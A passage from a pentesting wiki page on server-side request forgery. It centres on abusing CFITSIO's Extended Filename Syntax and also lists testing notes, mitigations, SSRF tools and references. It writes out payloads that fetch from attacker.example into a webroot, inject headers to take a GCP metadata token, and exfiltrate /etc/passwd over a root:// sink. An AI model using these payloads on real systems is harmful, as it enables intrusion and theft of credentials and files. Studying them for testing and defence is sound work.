SSRF-capable interpreters, not like safe file open calls. 440 441 A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:<sup>[[9]](#references)[[10]](#references)</sup> 442 443 - **Persistent SSRF / forced download**: URL-like prefixes (`http://`, `https://`, `ftp://`, `ftps://`) make CFITSIO fetch remote content. The **outfile** syntax then writes the response body to a local path controlled by the attacker: 444 445 ```bash 446 https://attacker.example/payload(/var/www/html/grabbed.bin) 447 ``` 448 449 This is stronger than blind SSRF because the fetched bytes are persisted locally and can be chained with later file retrieval, cache poisoning, or webroot writes. 450 - **Header / request injection through raw HTTP drivers**: If the library builds the request line from attacker-controlled filename data, embedded newlines may inject headers required by cloud metadata services. Example payload for **GCP metadata** access through a raw HTTP backend: 451 452 ```bash 453 $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/tmp/gcp-token.txt)' 454 ``` 455 456 Here the SSRF both reaches the metadata endpoint and persists the first response body locally. 457 - **Writable network sink discovery / exfiltration**: Even if one remote driver only supports read access, another registered backend may still expose **create/write** callbacks. In CFITSIO, the legacy `root://` backend can be abused as an outbound sink. Chaining a local file, the outfile syntax, and raw-binary conversion can wrap non-FITS bytes into a synthetic FITS object and exfiltrate them: 458 459 ```bash 460 '/etc/passwd(root://127.0.0.1:1094//loot)[b500,1][*,*]' 461 ``` 462 463 - **Adjacent local file primitives**: The same outfile syntax can also copy a readable local file to another local path **before** full FITS validation, so a sink that looks like “open uploaded image” can become an arbitrary file copy gadget. 464 465 ### Testing notes 466 467 - Enumerate whether the target parser accepts **scheme prefixes**, **redirection / outfile clauses**, **selectors**, **filters**, or **format-conversion suffixes**. 468 - Probe for **CR/LF injection** inside filename-derived network requests when metadata endpoints require special headers. 469 - Look for backends that support **write/create** operations, not only read/open. A legacy or obscure protocol handler may be the exfiltration path. 470 - If the sink expects a specific container format, try built-in **raw import / conversion** features to wrap arbitrary bytes into an accepted object before exfiltration. 471 472 ### Mitigations 473 474 - Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths.<sup>[[11]](#references)</sup> 475 - Treat extended filename syntaxes as **privileged features** and disable or gate them for attacker-controlled input. 476 - Reject or strictly sanitise metacharacters that switch parser modes (`(`, `)`, `[`, `]`, CR, LF, scheme prefixes) before calling EFS-aware APIs. 477 478 ## Cloud SSRF Exploitation 479 480 If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials: 481 482 483 [Cloud Ssrf](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 484 485 ## SSRF Vulnerable Platforms 486 487 Several known platforms contains or has contained SSRF vulnerabilities, check them in: 488 489 490 [Ssrf Vulnerable Platforms](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms) 491 492 ## Tools 493 494 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) 495 496 Tool to detect and exploit SSRF vulnerabilities 497 498 ### [Gopherus](https://github.com/tarunkant/Gopherus) 499 500 - [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) 501 502 This tool generates Gopher payloads for: 503 504 - MySQL 505 - PostgreSQL 506 - FastCGI 507 - Redis 508 - Zabbix 509 - Memcache 510 511 ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 512 513 - [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) 514 515 _remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly. 516 517 ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) 518 519 SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF). 520 521 ### To practice 522 523 524 [Ssrf Vulnerable Lab](https%3A//github.com/incredibleindishell/SSRF_Vulnerable_Lab) 525 526 ## References 527 528 - [1] [SSRF Payloads](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) 529 - [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) 530 - [3] [SSRF Vulnerabilities Caused by SNI Proxy Misconfigurations](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) 531 - [4] [Exploiting HTTP Parsers' Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 532 - [5] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) 533 - [6] [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk) 534 - [7] [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1) 535 - [8] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/) 536 - [9] [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html) 537 - [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html) 538 - [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html) 539 - [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/) 540 - [13] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 541 - [14] [PortSwigger - Web Security - Ssrf](https://portswigger.net/web-security/ssrf) 542 - [15] [everything curl - URL globbing](https://everything.curl.dev/cmdline/urls/globbing.html) 543 - [16] [youtube.com - Watch](https://www.youtube.com/watch?v=qGpAJxfADjo)